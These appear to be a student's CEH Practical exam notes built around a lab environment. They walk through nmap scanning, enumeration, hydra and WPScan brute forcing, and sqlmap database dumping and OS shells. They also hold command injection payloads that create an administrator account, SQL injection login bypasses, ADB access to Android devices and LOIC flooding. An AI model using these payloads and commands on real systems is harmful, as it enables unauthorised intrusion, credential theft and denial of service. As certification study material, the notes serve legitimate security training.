

# CEH Practical Notes

## Footprinting

**Tool: Bill Cipher :** **Bill Cipher** is an OSINT (Open-Source Intelligence) tool used for geolocation tracking based on IP addresses, social media footprint, and metadata analysis.

```
sudo su          # Gain root privileges
cd BillCipher    # Navigate to the tool directory
python3 billcipher.py  # Run the tool
```

## DNS Zone Transfer

### Tool: Dig

- **Dig** (Domain Information Groper) is a command-line tool used for querying DNS servers.
- **AXFR (Zone Transfer)** retrieves all DNS records of a domain if misconfigured.

```
dig @<target_dns_server> <domain> axfr
# Example:
dig @ns1.certifiedhacker.com certifiedhacker.com axfr
```

## Scanning Networks

### Tool: Nmap

- **Nmap (Network Mapper)** is an open-source tool for network discovery and security auditing.
- It helps in identifying live hosts, detecting services, and OS fingerprinting.

```
nmap -sn -T4 172.16.0.0/24 #Identify Live Machines in a Network
nmap -p 53 10.10.10.0/24 #Scan a Domain Controller in a Specific Subnet:
nmap -A -p 139 -T4 <target_ip> #Retrieve NetBIOS Hostname:
nmap -T4 -A -v <target_ip> #intense scan
nmap -sV <target_ip> #Detect Running Services & Their Versions:
```

- 1- Nmap scan for alive/active hosts command for 192.189.19.18- nmap -A 192.189.19.0/24 or nmap -T4 -A ip
- 2- Zenmap/nmap command for TCP scan- First put the target ip in the Target: and then in the Command: put this command- nmap -sT -v 10.10.10.16
- 3- Nmap scan if firewall/IDS is opened, half scan- nmap -sS -v 10.10.10.16  
If even this the above command is not working then use this command- nmap -f 10.10.10.16
- 4- -A command is aggressive scan it includes - OS detection (-O), Version (-sV), Script (-sS) and traceroute (--traceroute).
- 5- Identify Target system os with (Time to Live) TTL and TCP window sizes using Wireshark- Check the target ip Time to live value with protocol ICMP. If it is 128 then it is windows, as ICMP value came from windows. If TTL is 64 then it is linux. Every OS has different TTL. TTL 254 is solaris.
- 6- Nmap scan for host discovery or OS- nmap -O 192.168.92.10 or you can use nmap -A 192.168.92.10
- 7- If host is windows then use this command - nmap --script smb-os-discovery.nse 192.168.12.22 (this script determines the OS, computer name, domain, workgroup, time over smb protocol (ports 445 or 139)).
- 8- nmap command for source port manipulation, in this port is given or we use common port- nmap -g 80 10.10.10.10

#### Find FQDN

```
nmap -p389 -sV -iL <target_list> or nmap -p389 -sV <target_IP> (Find the FQDN in a subnet/network)
```

# Enumeration

- 1- NetBios enum using windows- in cmd type- nbtstat -a 10.10.10.10 (-a displays NETBIOS name table)
- 2- NetBios enum using nmap- nmap -sV -v --script nbstat.nse 10.10.10.16
- 3- SNMP enum using nmap- nmap -sU -p 161 10.10.10.10 (-p 161 is port for SNMP) → Check if port is open  
snmp-check 10.10.10.10 ( It will show user accounts, processes etc) → for parrot
- 4- DNS recon/enum- dnsrecon -d www.google.com -z
- 5- FTP enum using nmap- nmap -p 21 -A 10.10.10.10
- 6- NetBios enum using enum4linux- enum4linux -u martin -p apple -n 10.10.10.10 (all info)  
enum4linux -u martin -p apple -P 10.10.10.10 (policy info)

ldapsearch -h <target\_ip> # Check if LDAP Service is Running on a Target:  
ldapsearch -x -h <target\_ip> -b "DC=example,DC=com" #Perform an Anonymous LDAP Query:

dnsenum <target\_domain> #dnsenum is used to gather DNS information such as subdomains, mail servers, and name servers.

# Steganography

- 1- Hide Data Using Whitespace Steganography- snow -C -m "My swiss account number is 1212121212" -p "magic" readme.txt readme2.txt (magic is password and your secret is stored in readme2.txt along with the content of readme.txt)
- 2- To Display Hidden Data- snow -C -p "magic" readme2.txt (then it will show

the content of readme2.txt content)

3- Image Steganography using Openstego- PRACTICE ??

## Sniffing

**Wireshark** is a packet-sniffing tool for network analysis and troubleshooting.

Password Sniffing using Wireshark- In pcap file apply filter:

**http.request.method==POST** (you will get all the post request) Now to capture password click on edit in menu bar, then near Find packet section, on the "display filter" select "string", also select "Packet details" from the drop down of "Packet list", also change "narrow & wide" to "Narrow UTF-8 & ASCII", and then type "pwd" in the find section.

**Filter Traffic for a Specific IP Address** → **ip.addr == <target\_ip>**

### Analyze Severity of an Attack in a PCAP File:

- Open Wireshark
- Navigate to **Analyze** → **Expert Information**

### IoT Traffic Analysis in Wireshark

- IoT devices often use **MQTT (Message Queuing Telemetry Transport)** protocol.

Filter IoT Traffic in Wireshark → mqtt

## Hacking Web Servers

1- Footprinting web server Using Netcat and Telnet- nc -vv www.movies.com 80

```
GET /HTTP/1.0
telnet www.movies.com 80
```

GET /HTTP/1.0

2- Enumerate Web server info using nmap- `nmap -sV --script=http-enum www.movies.com`

3- Crack FTP credentials using nmap- `nmap -p 21 10.10.10.10` (check if it is open or not)

`ftp 10.10.10.10` (To see if it is directly connecting or needing credentials)

Then go to Desktop and in Ceh tools folder you will find wordlists, here you will find usernames and passwords file.

Now in terminal type- `hydra -L /home/attacker/Desktop/CEH_TOOLS/Wordlists/Username.txt -P /home/attacker/Desktop/CEH_TOOLS/Wordlists/Password.txt ftp://10.10.10.10`

`hydra -l user -P passlist.txt ftp://10.10.10.10`

## Hacking Web Application

**Scan Using OWASP ZAP (Parrot)**- Type `zaproxy` in the terminal and then it would open. In target tab put the url and click automated scan.

**Directory Bruteforcing**- `gobuster dir -u 10.10.10.10 -w /home/attacker/Desktop/common.txt`

**Enumerate a Web Application using WPscan & Metasploit**

**BFA**- `wpscan --url http://10.10.10.10:8080/NEW --enumerate u`

(u means username)

Then type msfconsole to open metasploit. Type - use

auxilliary/scanner/http/wordpress\_login\_enum

show options

set PASS\_FILE /home/attacker/Desktop/Wordlist/password.txt

set RHOSTS 10.10.10.10 (target ip)

set RPORT 8080 (target port)

set TARGETURI

http://10.10.10.10:8080/

set USERNAME admin

**Brute Force using WPscan** - wpscan --url

http://10.10.10.10:8080/NEW -u root -P passwdfile.txt (Use this only after enumerating the user like in step 3)

wpscan --url

http://10.10.10.10:8080/NEW --usernames userlist.txt, --

passwords passwdlist.txt

5- Command Injection- | net user (Find users)

| dir C:\ (directory listing)

| net user Test/Add (Add a user)

| net user Test (Check a user)

| net localgroup Administrators Test/Add (To convert the test account to admin)

| net user Test (Once again check to see if it has become administrator)

Now you can do a RDP connection with the given ip and the Test account which you created.

# SQL Injections

1. Auth Bypass- `hi'OR 1=1 --`

2- Insert new details if sql injection found in login page in username tab enter-  
`blah';insert into login values('john','apple123');--`

3- Exploit a Blind SQL Injection- In the website profile, do inspect element and in the console tab write - `document.cookie`

Then copy the cookie value that was presented after this command. Then go to terminal and type this command,

`sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="[cookie value that you copied and don't remove square brackets]" --dbs`

4- Command to check tables of database retrieved- `sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="[cookie value that you copied and don't remove square brackets]" -D databasename --tables`

5- Select the table you want to dump- `sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="[cookie value that you copied and don't remove square brackets]" -D databasename -T Table_Name --dump` (Get username and password)

6- For OS shell this is the command- `sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="[cookie value that you copied and don't remove square brackets]" --os-shell`

6.1 In the shell type- `TASKLIST` (to view the tasks)

6.2 Use `systeminfo` for windows to get all os version

6.3 Use `uname -a` for linux to get os version

# Android

```
1- nmap ip -sV -p 5555 (Scan for adb port)
2- adb connect IP:5555 (Connect adb with parrot)
3- adb shell (Access mobile device on parrot)
4- pwd → ls → cd sdcard → ls → cat secret.txt (If you can't find it there then go to Downloads folder using: cd downloads)
```

## Tool: PhoneSploit

- **PhoneSploit** automates ADB (Android Debug Bridge) exploitation to gain access to Android devices.

```
cd PhoneSploit
python3 phonesploit.py
pwd
cd sdcard
ls
cd Download
ls
cat confidential.txt
```

# Wireshark

tcp.flags.syn == 1 and tcp.flags.ack == 0 (How many machines) or Go to statistics IPv4 addresses → Source and Destination → Then you can apply the filter given tcp.flags.syn == 1 (Which machine for dos) http.request.method == POST (for passwords) or click tools --



→ credentials

Also

## Cracking Wi-Fi networks

Cracking Wifi Password

aircrack-ng [pcap file] (For cracking WEP network)

aircrack-ng -a2 -b [Target BSSID] -w [password\_Wordlist.txt]  
[WP2 PCAP file] (For cracking WPA2 or other networks through  
the captured .pcap file)

## Password Cracking & Auditing

### Tool: John the Ripper

- **John the Ripper (JtR)** is a fast password-cracking tool that supports various hash formats.

Crack NTLM Hashes → john --format=nt hashes.txt

### Tool: L0phtCrack

- **L0phtCrack** is a password auditing tool that analyzes Windows password security and enforces policies.
- Requires user credentials for audit.

# Privilege Escalation on a Remote Machine

## Tool: SSH (Secure Shell)

- **SSH** allows secure remote login to another system.

```
ssh ubuntu@<target_ip>
```

# Malware Analysis

## Tool: BinText

- **BinText** extracts readable text from binary files, useful for malware analysis.

```
bintext <malware_file>
```

## Tool: Ghidra

- **Ghidra** is a reverse engineering tool developed by the NSA, used for analyzing executable files.

## Tool: SIXO (Online APK Analyzer)

- **SIXO** is a web-based tool that performs static analysis of APK files.

# Denial-of-Service (DoS) Attack

## Tool: LOIC (Low Orbit Ion Cannon)

**LOIC** is a stress-testing and DoS attack tool that floods a target with traffic.

**Usage:**

Open **LOIC**

Enter target IP/URL

Set **TCP/UDP/HTTP flood options**

**Launch attack**

EXTRA



Check RDP enabled after getting ip- `nmap -p 3389 -iL ip.txt | grep open` (ip.txt contains all the alive hosts from target subnet)

Check MySQL service running- `nmap -p 3306 -iL ip.txt | grep open` (ip.txt contains all the alive hosts from target subnet)